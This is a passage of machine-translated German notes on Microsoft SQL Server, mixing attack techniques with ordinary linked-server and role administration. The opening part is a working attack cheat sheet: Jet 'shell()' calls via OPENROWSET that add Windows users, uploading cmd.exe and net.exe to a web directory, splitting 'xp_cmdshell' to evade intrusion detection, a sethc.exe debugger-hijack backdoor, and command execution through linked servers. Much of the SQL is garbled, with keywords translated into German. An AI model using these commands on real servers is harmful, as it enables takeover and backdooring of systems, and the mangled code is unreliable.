\system32\ias\dnary.mdb','select shell("cmd.exe /c NET User User Passwd /add")')
Wenn der Sandbox-Schutzmodus nicht "aus" ist, wird ein Fehler gemeldet: Server: Msg 7357, Level 16, Zustand 2, Zeile 1
Es konnte das Objekt 'select shell("cmd.exe /c net user user passwd /add")' nicht handhaben. OLE DB stellt Programme bereit
Das Vorwort 'microsoft.jet.oledb.4.0' zeigt an, dass es keine Spalten im Objekt gibt.
OLE DB Fehlerverfolgung [Nicht-Schnittstellenfehler: OLE-DB-Anbieter kann das Objekt nicht verarbeiten, da das Objekt
has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
Benutzer passwd /add")']。
2、 Wenn die .mdb nicht existiert oder der Eingabepfad falsch ist Server: Msg 7399, Stufe 16, Zustand 1, Zeile 1
OLE DB provider 'microsoft.jet.oledb.4.0' error. [OLE/DB-Anbieter hat Nachricht zurückgegeben:
Datei 'C:\WINDOWS\system32\ias\dnary1.mdb' nicht gefunden. ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned returned
0x80004005: ]。
3. Wenn während des Eingabeprozesses mehr Felder vorhanden sind, wird ebenfalls ein Fehler gemeldet. Beachten Sie das besonders, viele Menschen suchen direkt online nach Artikeln
Füge es ein und führe es aus. Server: Msg 7357, Level 16, Zustand 2, Zeile 1 Kein Objekt 'select verarbeitet'
shell("cmd.exe /c net user user passwd /add")'。 Der OLE-Datenbankanbieter 'microsoft.jet.oledb.4.0' gibt an, dass es keine Spalten im Objekt gibt.
OLE DB Fehlerverfolgung [Nicht-Schnittstellenfehler: OLE-Datenbankanbieter kann das Objekt nicht verarbeiten, da das Objekt hat
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c user user
passwd /add")']。
4、 Wenn die MDB-Berechtigungen und cmd.exe Berechtigungen falsch sind, tritt das Problem ebenfalls auf. Wenn die MDB-Berechtigungen falsch sind, Server: Eliminieren
Zins 7320, Ebene 16, Bundesstaat 2, Zeile 1
Er konnte nicht antworten Der OLE DB-Anbieter 'Microsoft.Jet.OLEDB.4.0' führt die Abfrage aus. [OLE/DB-Anbieter zurückgegeben
message: 未知] OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Wenn die Netzberechtigung falsch ist, gibt es keine Aufforderung.
Die letzte Möglichkeit, die Autorität zu erhöhen, besteht darin, die System-ias.mdb und cmd.exe unter dem aktuellen Webverzeichnis net.exe drei Dateien hochzuladen.
Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe user user passwd /add")') Fügen Sie erfolgreich einen Computerbenutzer hinzu.
Das Aufteilen von CMDSHELL umgeht IDS Deklariere @a Sysname-Set @a='xp_'+'cmdshell' exec @a 'ipconfig' Erklären
@a Sysname-Set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
Bearbeitung von Register-Entführungsverschiebung Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe an'; --
Abfrage des Linkservers auswählen
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers auswählen
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers
Abfrage linkserver2 Wählen Sie einen bestimmten Hostname,db_name(dbid),net_address,loginame,program_name aus
Meister.. SysProcesses
Abfrage des Linkservers und andere eingeloggte Nutzer Wählen Sie * aus [192.168.1.1].master.dbo.syslogins
Abfrage von LinkServer Alle Datenbanken Wählen Sie * aus linkedSrvWeb.master.dbo.sysdatabases
Erweiterte Speicherung auf LinkServer durchführen Exec [IP].master.dbo.xp_cmdshell
Abfrage aller Tabellen auf dem Linkserver Auswählen * aus [ip].master.dbo.sysobjects
Wähle * aus OpenRowset aus
('sqloledb','server=IP; uid=Benutzer; pwd=passwort','select @@version')
wählen * aus openquery([LINKSERVER)
name]", 'wähle @@version')
wählen * aus openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
Wählen Sie * aus OpenQuery(GM_SERVER,'select * aus SysObjects aus, wobei xType = (''U''')')
Wählen Sie * aus
openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')
Select* aus OpenQuery(toatdeweb,'select
srvname von master.dbo.sysservers')
In OpenDatasource einfügen
('sqloledb','server=222.241.95.12; uid=SCD; pwd=A123520; database=hack520').hack520.dbo.zhu select
Name von master.dbo.sysdatabases create database hack520 Erstelle TABELLE zhu(name nvarchar(256)
null); Erstelle TABELLE J8(id int NULL,name nvarchar(256) null);
Wählen Sie * aus OpenQuery
(toatdeweb,'set fmtonly off exec master.dbo.xp_cmdshell ''net user'')
Exec Master.. xp_dirtree
'c:\',1,1 Führen Sie ein Abfrageverzeichnis durch
Exec Links.Master.. xp_cmdshell 'ipconfig'
Selectiere * aus OpenQuery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')
Verbinden Sie mysql Select * von Mem_DB. UserDB.dbo.AdminList
EXEC MASTER.. XP_dirtree 'c:\',1,1
Exekutiv
master.dbo.xp_cmdshell 'dir'
Anzahl auswählen(*) aus [anzeigen] Abfrage, wie viele Daten in der aktuellen Tabelle enthalten sind
Auswählen Sie Distinct Hostname,db_name(dbid),net_address,loginame,program_name
von Meister.. SysProcesses
Wähle * aus GameDB01 aus. Server01.dbo.cabal_character_table wo Name='
Schwein'
Wenn du sie löschst, steht da: Die Datenbank wird genutzt und kann nicht gelöscht werden.
Klicken Sie auf die Datenbank, die Sie löschen möchten, um die Ereignisanzeige zu öffnen.
Eingabe:
Verwendung
Meister los Dann kommen Folgendes ins Spiel: Erklären Sie @d Varchar(8000) Set @d= ' ' Wählen Sie @d=@d+ ' Kill
'+cast(spid als varchar)+char(13) von Meister.. SysProcesses bei dem dbid=db_id('Bibliotheksname') exec(@d) -- Verwenden Sie zuerst Code, um den Prozess zu löschen, der sich mit dieser Datenbank verbindet.
MSSQL betreibt Oracle über LinkServer
1) Oracle auf dem SQL_SERVER Server von 2005 installieren
9i-Klient. Angenommen, installiere im Verzeichnis C:\ora92i\. Wenn D: eine NTFS-Partition ist, musst du das installierte ORACLE-Verzeichnis als das verwendete Verzeichnis festlegen
Abonnenten haben das Recht, sie zu veröffentlichen, hinzuzufügen und zu löschen.
2) Konfigurieren Sie die Datei C:\ora92i\network\ADMIN\tnsnames.ora. (Der folgende rote Text ist ein Beispiel für eine Konfiguration)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ADRESSE = (PROTOKOLL = TCP)(HOST = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = Ork)
)
)
3) Führen Sie den folgenden Befehl im DOS-Modus aus, um sicherzustellen, dass der ORACLE-Client korrekt installiert ist.
sqlplus user/password@ORCL
4) Start öffnen - Control Panel - Services und bestätigen, dass der Distributed Transaction Coordinator Service gestartet wurde.
5) Open SQL SERVER Management Studio, Instanzname (ORCL) – Serverobjekt (Rechtsklick) – Neuer Verbindungsserver.
1.
Link-Server: Schreibe den Namen des verknüpften Servers, wie zum Beispiel OracleTest
2. Servertyp, wählen Sie eine andere Datenquelle aus
3. Zugangsschnittstelle: Select Oracle Provider für OLE DB
4. Produktname: Write Oracle
5. Datenquelle: Artikel
Der Dienstname ist in der tnsnames.ora-Datei konfiguriert, wie zum Beispiel ORCL
6. Zugriffsschnittstellen-String: userid=sys als sysdba; Passwort=Passwort
7. Auf der Seite "Sicherheitsoptionen auswählen" verwenden Sie diesen Installationskontext, um eine Verbindung herzustellen:
a) Remote-Login: Benutzer (anderer Benutzer, nicht Sys)
b)
Passwort verwenden: Passwort
8. Setzen Sie "NT AUTHORITY\SYSTEM" beim lokalen Login, Remote User System und setzen Sie das Passwort
9.
Bist du sicher
6) Es gibt zwei Möglichkeiten, SQL zu schreiben
a) Verwendung der T-SQL-Syntax:
AUSWÄHLEN * AUS
OraTest.ERP.BAS_ITEM_CLASS
Beachten Sie, dass Sie bei der Eingabe von SQL-Anweisungen im SQL Query Analyzer auf das chinesische Vollbreiten- und Halbbreiten-Switching achten sollten
Weg!
b) PLSQL-Syntax verwenden: AUSWÄHLEN * VON openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) Die zweite Zugriffsmethode ist etwa 50 % schneller als die erste; Die zweite Zugriffsmethode ist direkt verbunden
ORACLE ist vergleichbar; Die First-Access-Methode kann zu unerwarteten Fehlern führen, wie zum Beispiel: Die Tabelle existiert nicht, ebenso wenig wie der aktuelle Benutzer
Es gibt keinen Zugang zum Tisch, und so weiter.
d) Wenn die zu öffnende Spalte Datentypen ohne Genauigkeit verwendet, sind beide
Dies ist ein Fehler von ORACLE, der nicht behoben werden kann und nur durch spezielle Behandlung von Abfrageanweisungen vermieden werden kann:
Die vom OLE-DB-Anbieter 'OraOLEDB.Oracle' bereitgestellten Metadaten für die Spalten sind inkonsistent. Metadateninformationen werden bei der Ausführung geändert.
mssql hinzugefügt
Den Benutzer löschen und Berechtigungen erteilen
Verwenden Sie Ihren Bibliotheksnamen los --Benutzer hinzufügen Exec sp_addlogin 'Test' – Login hinzufügen Exekutiv
sp_grantdbaccess N'test' – macht es zu einem legitimen Nutzer der aktuellen Datenbank Exec sp_addrolemember N'db_owner',
N'test' – gewährt alle Berechtigungen für ihre eigene Datenbank --Dies schafft Benutzer, die nur auf ihre eigene Datenbank und die enthaltenen Datenbanken zugreifen können
Öffentliche Tabelle für Gastnutzer los --Testbenutzer entfernen Exec sp_revokedbaccess N'test' – Zugriff auf die Datenbank entfernen
Grenze exec sp_droplogin N'test' – Login löschen Wenn du es im Enterprise Manager erstellst, verwende: Enterprise Manager – Sicherheit
Sex – Rechtsklick Login – Neuer Login Allgemeine Artikel --Gib den Benutzernamen im Namen ein
--Die Authentifizierungsmethode wird entsprechend deinen Bedürfnissen ausgewählt (wenn du Windows-Authentifizierung verwendest, musst du zuerst einen neuen Benutzer unter den Nutzern des Betriebssystems anlegen)
--Wählen Sie in den Standardeinstellungen den Datenbanknamen aus, auf den Sie für den neuen Benutzer Zugriff haben möchten Server-Rollen-Item Wähle hier nichts Datenbank
Zugriffsgegenstand Überprüfe den Namen der Datenbank, auf die du zugreifen möchtest, für den von dir erstellten Benutzer Erlauben Sie die Datenbankrolle, aktivieren Sie "öffentlich", "db_ownew". Klar, das
Der durch das Beispiel erstellte Benutzer ist derselbe wie der Benutzer, der durch die obige Aussage erstellt wurde
Der letzte Schritt besteht darin, spezifische Zugriffsberechtigungen für bestimmte Benutzer festzulegen, was auf folgendes minimales Beispiel verwiesen werden kann:
--Benutzer hinzufügen, die nur auf die angegebene Tabelle zugreifen dürfen: exec sp_addlogin 'Benutzername', 'Passwort', 'Standard-Datenbankname'
--zur Datenbank hinzufügen exec sp_grantdbaccess 'Benutzername'
--Vollständige Tabellenberechtigungen zuweisen GEWÄHREN AUSWÄHLEN, EINFÜGEN , AKTUALISIEREN, LÖSCHEN IN TABELLE1 AUF [Benutzername] --Berechtigungen bestimmten Spalten zuweisen GRANT SELECT , UPDATE IN TABLE1(ID,AA) AUF [Benutzername]
Für spezifische Sicherheitseinstellungen und theoretisches Wissen siehe bitte SQL Online Help
Beschreibung der festen Datenbankrolle db_owner Habe volle Berechtigungen in der Datenbank.
db_accessadmin Du kannst Benutzer-IDs hinzufügen oder entfernen.
db_securityadmin Kann vollständige Berechtigungen, Objektbesitz, Rollen und Rollenmitgliedschaften verwalten.
db_ddladmin kann ALLE DDL-Erklärungen ausstellen, aber keine GEWÄHREN, WIDERRUFEN oder ABLEHNEN.
db_backupoperator kann DBCC-, CHECKPOINT- und BACKUP-Statements ausstellen.
db_datareader Du kannst alle Daten aus jeder Benutzertabelle in der Datenbank auswählen.
db_datawriter Du kannst alle Daten in jeder Benutzertabelle in der Datenbank ändern.
db_denydatareader Du kannst keine Daten aus irgendeiner Benutzertabelle in der Datenbank auswählen.
db_denydatawriter Du kannst keine Daten in einer Benutzertabelle in der Datenbank ändern.
Du solltest dich für db_datareader, db_datawriter db_accessadmin entscheiden
5. Nachdem die SQL-Server-Instanz im Einzelbenutzermodus gestartet wurde, kann das Windows-Administratorkonto das sqlcmd-Tool nutzen, um sich im Windows-Authentifizierungsmodus zu verbinden
SQL Server。 Sie können T-SQL-Befehle wie "sp_addsrvrolemember" verwenden, um einen bestehenden Login zur Sysadmin-Serverrolle hinzuzufügen
Oder erstelle ein neues Login-Konto. Eine Beispielaussage lautet wie folgt:
EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
LOS
Fügen Sie eine Systemadministrator-Berechtigung hinzu
(1) Serverrollen verwalten
In SQL Server gibt es zwei Hauptprozeduren, die das Rollenmanagement von SQL Server implementieren:
sp_addsrvrolemember
und sp_dropsrvrolemember
sp_addsrvrolemember Du kannst ein Login-Konto zu einer Serverrolle hinzufügen, um sie zu einem Mitglied dieser Serverrolle zu machen. Die Syntax ist wie folgt: sp_addsrvrolemember
Login, Rolle
sp_dropsrvrolemember Du kannst ein Login-Konto aus einer Serverrolle löschen, und wenn das Mitglied aus der Serverrolle entfernt wird, hat es diese Serverrolle nicht mehr
Die Berechtigungen sind gesetzt. Die Syntax ist wie folgt: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'
Damit hinein
@loginname ist der Name des eingeloggten Benutzers; @rolename ist eine Serverrolle.
(2) Datenbankrollen verwalten
In SQL Server wird das Datenbankmanagement unterstützt
Es gibt sechs Haupttypen gespeicherter Prozeduren, deren spezifische Bedeutungen und Syntax wie folgt sind:
sp_addrole: Verwendet zur Erstellung einer neuen Datenbankrolle; sp_addrole
Rolle, Eigentümer
sp_droprole: Verwendet, um eine Datenbankrolle aus der aktuellen Datenbankrolle zu entfernen; sp_droprole Rolle
sp_helprole:
Es wird verwendet, um alle Informationen über alle Datenbankrollen in der aktuellen Datenbank anzuzeigen; sp_helprole ['Rolle']
sp_addrolemember: Wurde verwendet, um an die Datenbank zu senden.
Fügen Sie Datenbankbenutzer einer Rolle hinzu, die entweder benutzerdefinierte Standardrollen oder feste Datenbankrollen sein können, aber nicht
Bewerbungsrollen. sp_addrolemember Rolle, security_account
sp_droprolemember: Wurde verwendet, um einen bestimmten Charakter zu löschen
Haushalt; sp_droprolemember Rolle, security_account
sp_helprolemember: Wird verwendet, um alle Mitglieder einer Datenbankrolle anzuzeigen
。 sp_helprolemember ['Rolle']
MSSQL LINKSERVER-Abfrage
---------------------------------------------------------------------------------- -- Autor:
htl258(Tony) -- Datum: 25.06.2010 22:23:18 -- Version: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9. Juli 2008, 14:43:34 -- Urheberrecht (c) 1988-2008 Microsoft Corporation --
Developer Edition auf Windows NT 5.1 (Build 2600: Service Pack 2) -- Blog : -- Betreff: SQL-Datenoperationen zwischen verschiedenen Serverdatenbanken ---------------------------------------------------------------------------------- --1. Einen Linkserver erstellen --1.1 Einen Linknamen erstellen EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB', den Namen des entfernten Servers,
oder IP-Adresse' – Wenn du einen benutzerdefinierten Instanznamen hast, füge "\Instanzname" hinzu.
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Erstellen Sie einen Login (oder erstellen Sie eine Link-Server-Login-Karte) (wählen Sie einfach eine Richtung) --1.2.1 Anmeldung mit Windows-Authentifizierung EXEC sp_addlinkedsrvlogin 'LinkName' --oder EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Anmeldung mit SQL-Authentifizierung EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Benutzername', 'Passwort'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink','false', null,'sa','123' */ --2. Link-server-bezogene Datenoperationen --2.1 Abfragebeispiel AUSWÄHLEN * AUS LinkName.datenbankname.schema name.table name
/*例如:SELECT *
VON TonyLink.Mydb.dbo.tb */ -- 2.2 Importbeispiel AUSWÄHLEN * IN Tabellenname AUS LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb
VON TonyLink.Mydb.dbo.tb */ -- 2.3 Update-Beispiel AKTUALISIEREN LinkName.Datenbankname.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Persons='g' WO Persons='a' */ -- 2.4 Löschbeispiele DELETE LinkName.Datenbankname.Schema Name.Table Name WO Feldname='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb WO Personen='g' */ --3 über die Zeilenmengenfunktion (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Methode
- 3.1 OPENQUERY-Methode (erfordert die Hilfe des gerade erstellten Linkservers): -- 3.1.1 Abfragebeispiel SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Name der Architektur. Tischname')
/* Zum Beispiel: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Importbeispiele --3.1.2.1 Alle Spalten importieren OPENQUERY einfügen (LinkName, 'SELECT * FROM Datenbankname. Name der Architektur. Tabellenname
') AUSWÄHLEN * AUS der lokalen Tabelle
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
VON TB */ --3.1.2.2 Importiere die angegebenen Spalten OPENQUERY einfügen (LinkName, 'SELECT * FROM Datenbankname. Name der Architektur. Tabellenname') (Spalte, Spalte...) SELECT-Spalte,
Spalte... VON der lokalen Tabelle
/* Zum Beispiel: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) AUSWÄHLEN
ENTFERNUNG, LEVEL, Personen VON TB */ --3.1.3 Aktualisierungsbeispiele UPDATEN OPENQUERY(LinkName, 'SELECT * FROM Datenbankname. Name der Architektur. Tabellenname') SET-Feld = 'Wert' WO Wort
Abschnitt = 'Zustand'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Personen='a' */ --3.1.4 Beispiele löschen DELETE OPENQUERY(LinkName, 'SELECT * FROM Datenbankname. Name der Architektur. Tabellenname') WO Feldname='Bedingung'
/*例
Zum Beispiel: DELETE OPENQUERY (TonyLink, 'SELECT * FROM Mydb.dbo.tb') WO Persons='g' */ --3.2 OPENROWSET-Methode (du musst den erstellten Linknamen nicht verwenden.) Wenn der verbundene Instanzname nicht der Standard ist, musst du ihn im SQL-Server-Namen oder IP-Adresse einstellen.
"\Instanzname") --3.2.1 Abfragebeispiel --3.2.1.1 Abfrage der Windows-Authentifizierungsmethode (eine der folgenden Methoden ist ausreichend) SELECT * AUS OPENROWSET('SQLOLEDB', 'server=sql servername oder
IP-Adresse; Trusted_Connection=ja', Datenbankname. Name der Architektur. Tischname) SELECT * FROM OPENROWSET('SQLNCLI',
'server=SQL-Servername oder IP-Adresse; Trusted_Connection=ja', Datenbankname. Name der Architektur. Tischname) AUSWÄHLEN * AUS
OPENROWSET('SQLOLEDB', 'server=sql Server Name oder IP-Adresse; Trusted_Connection=ja','AUSWÄHLEN * AUS der Datenbank
Name. Name der Architektur. Tischname') SELECT * AUS OPENROWSET('SQLNCLI', 'server=sql server name oder IP-Adresse
Adresse; Trusted_Connection=ja','WÄHLE * AUS Datenbanknamen. Name der Architektur. Tischname')
/* Zum Beispiel: SELECT * AUS OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)
Oder: WÄHLE * AUS OPENROWSET AUS
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)
Oder: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja','WÄHLEN *
VON Mydb.dbo.tb')
Or: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja','WÄHLEN *
VON Mydb.dbo.tb') */ --3.2.1.2 SQL-Authentifizierungsmethodenabfrage (Eine der folgenden Methoden ist ausreichend) WÄHLE * AUS OPENROWSET AUS
('SQLOLEDB', 'server=SQL-Servername oder IP-Adresse; uid=Benutzername; pwd=passwort', Datenbankname. Name der Architektur. Tischname) AUSWÄHLEN * AUS
OPENROWSET('SQLNCLI', 'server=sql Server Name oder IP-Adresse; uid=Benutzername; pwd=passwort', Datenbankname. Name der Architektur. Tischname) SELECT * AUS OPENROWSET('SQLOLEDB', 'server=sql Server Name oder IP-Adresse; uid=Benutzername; pwd=passwort','SELECT *
FROM Datenbankname. Name der Architektur. Tischname') SELECT * AUS OPENROWSET('SQLNCLI', 'server=sql Server Name oder IP-Adresse; uid=
Nutzername; pwd=passwort','AUSWÄHLEN * VOM Datenbanknamen. Name der Architektur. Tischname') SELECT * FROM OPENROWSET('SQLOLEDB', 'sql
Servername'; 'Benutzername'; 'Passwort', Datenbankname. Name der Architektur. Tischname) SELECT * AUS OPENROWSET('SQLNCLI', 'SQL SERVER NAME'
'; 'Benutzername'; 'Passwort', Datenbankname. Name der Architektur. Tischname) WÄHLEN SIE * AUS OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' Nutzer
name'; 'Passwort', 'AUSWÄHLEN * VOM Datenbanknamen. Name der Architektur. Tischname') SELECT * AUS OPENROWSET('SQLNCLI', 'sql server)
name'; 'Benutzername'; 'Passwort', 'AUSWÄHLEN * VOM Datenbanknamen. Name der Architektur. Tischname')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Oder: WÄHLE * AUS OPENROWSET AUS
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Oder: WÄHLE * AUS OPENROWSET AUS
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')
oder: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','AUSWÄHLEN * AUS
Mydb.dbo.tb')
oder: WÄHLEN * AUS OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
oder: SELECT * AUS OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
oder: WÄHLEN * AUS OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','AUSWÄHLEN * AUS Mydb.dbo.tb')
oder: SELECT * AUS OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','AUSWÄHLEN * AUS Mydb.dbo.tb') */ --3.2.2 Importbeispiel --3.2.2.1 Alle Spalten importieren INSERT OPENROWSET('SQLOLEDB', 'server=sql server name oder IP-Adresse
Adresse; uid=Benutzername; pwd=passwort', Datenbankname. Name der Architektur. Tischname) AUSWÄHLEN * AUS der lokalen Tabelle
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) AUSWÄHLEN * AUS TB */ --3.2.2.2 Import
Spezifiziere Spalten INSERT OPENROWSET('SQLOLEDB', 'server=sql servername oder IP-Adresse; uid=Benutzername; pwd=passwort', Datenbankname. Gestell
Name des Konstrukts. Tabellenname) (Spalte, Spalte...) SELECT-Spalte, Spalte... VON der lokalen Tabelle
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ENTFERNUNG,LEVEL,Personen) AUSWÄHLEN
ENTFERNUNG, LEVEL, Personen VON TB */ --Hinweis: Für weitere alternative Methoden siehe das .2.1-Abfragebeispiel, ersetzen Sie einfach die OPENROWSET-Funktion
Der Inhalt ist ausreichend. --3.2.3 Update-Beispiel UPDATE OPENROWSET('SQLOLEDB', 'server=sql Server Name oder IP-Adresse; uid=Benutzername
;p wd=password', Datenbankname. Name der Architektur. Tischname) SET-Feld = 'Wert' WOBEI Feld = 'Bedingung' =
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Persons='g' WO Personen='a' */ --Hinweis: Für weitere alternative Methoden siehe das .2.1-Abfragebeispiel, ersetzen Sie einfach den Inhalt im OPENROWSET. --3.2.4 Löschen Sie die Anzeige
Beispiel DELETE OPENROWSET('SQLOLEDB', 'server=sql servername oder IP-Adresse; uid=Benutzername; pwd=passwort', Datenbankname. Schema-Name
.Tabellenname) WO Feldname='Bedingung'
/* Zum Beispiel: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) WOBEI
Personen='g' */ --Hinweis: Für weitere alternative Methoden siehe das .2.1-Abfragebeispiel, ersetzen Sie einfach den Inhalt im OPENROWSET. --3.3 OPENDATASOURCE-Methode
(Du musst den erstellten Linknamen nicht verwenden.) Wenn der Instanzname der Verbindung nicht standardmäßig ist, musst du \instance name nach dem SQL-Servernamen oder der IP-Adresse hinzufügen
") --3.3.1 Abfragebeispiel --3.3.1.1 Windows-Authentifizierungsmethodenabfrage (Eine der folgenden Methoden ist ausreichend) SELECT * AUS OPENDATASOURCE('SQLOLEDB',
'server=SQL-Servername oder IP-Adresse; Trusted_Connection=ja'). Datenbankname. Name der Architektur. Tabellenname AUSWÄHLEN * AUS
OPENDATASOURCE('SQLNCLI', 'server=sql Server Name oder IP-Adresse; Trusted_Connection=ja'). Datenbankname. Name der Architektur.
Tabellenname
/* Zum Beispiel: SELECT * AUS OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb
Oder: WÄHLEN * AUS OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb */ --3.3.1.2 Abfrage der SQL-Authentifizierungsmethode (eine der folgenden Methoden ist ausreichend) WÄHLEN * AUS OPENDATASOURCE('SQLOLEDB', 'server=sql servername oder
IP-Adresse; uid=Benutzername; pwd=passwort'). Datenbankname. Name der Architektur. Tabellenname WÄHLEN * AUS OPENDATASOURCE('SQLNCLI', 'server=sql Server Name oder IP-Adresse; uid=Benutzer
Name; pwd=passwort'). Datenbankname. Name der Architektur. Tabellenname SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'Data Source=sql server name oder ip-adresse)
Adresse; uid=Benutzername; pwd=passwort'). Datenbankname. Name der Architektur. Tabellenname SELECT * FROM OPENDATASOURCE('SQLNCLI', 'Data Source=sql servername oder IP-Adresse)
Adresse; uid=Benutzername; pwd=passwort'). Datenbankname. Name der Architektur. Tabellenname
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Oder: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Oder: SELECT * FROM OPENDATASOURCE('SQLOLEDB','Data
Quelle=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Oder: SELECT * FROM OPENDATASOURCE('SQLNCLI','Data
Quelle=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Alle Spalten importieren OPENDATASOURCE('SQLOLEDB', 'server=sql servername oder IP-Adresse einfügen; uid=Benutzername; pwd=passwort').
Laut dem Namen der Bibliothek. Name der Architektur. Tabellenname AUSWÄHLEN * AUS der lokalen Tabelle
/* Zum Beispiel: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb AUSWÄHLEN
* VON TBB */ --3.3.2.2 Importiere die angegebenen Spalten OPENDATASOURCE('SQLOLEDB', 'server=sql servername oder IP-Adresse einfügen; uid=Benutzername; pwd=passwort').
Laut dem Namen der Bibliothek. Name der Architektur. Tabellenname (Spalte, Spalte...) SELECT-Spalte, Spalte... VON der lokalen Tabelle
/* Zum Beispiel: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(ENTFERNUNG, NIVEAU, Personen) WÄHLE REICHWEITE, NIVEAU, Personen VON TB */ --Hinweis: Für weitere alternative Methoden siehe das .3.1-Abfragebeispiel: Ersetzen Sie einfach den Inhalt in der Zeilenset-Funktion (OPENDATASOURCE). --3.3.3 Update-Beispiel UPDATE OPENDATASOURCE('SQLOLEDB', 'server=sql Servername oder IP-Adresse; uid=Benutzername; pwd=passwort'). Datenbankname. Name der Architektur. Tabellenname SET-Feld = 'Wert' WOBEI Feld = 'Bedingung' =
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Persons='g' WO Personen='a' */ --Hinweis: Für weitere alternative Methoden siehe das .3.1-Abfragebeispiel: Ersetzen Sie einfach den Inhalt in der Zeilenset-Funktion (OPENDATASOURCE). --3.3.4 Löschbeispiel DELETE OPENDATASOURCE('SQLOLEDB', 'server=sql Server Name oder IP-Adresse; uid=Benutzername; pwd=passwort'). Datenbankname. Name der Architektur. Tabellenname WO Feldname='Bedingung'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb WO Personen = 'g' */ - Hinweis: Weitere Alternativen
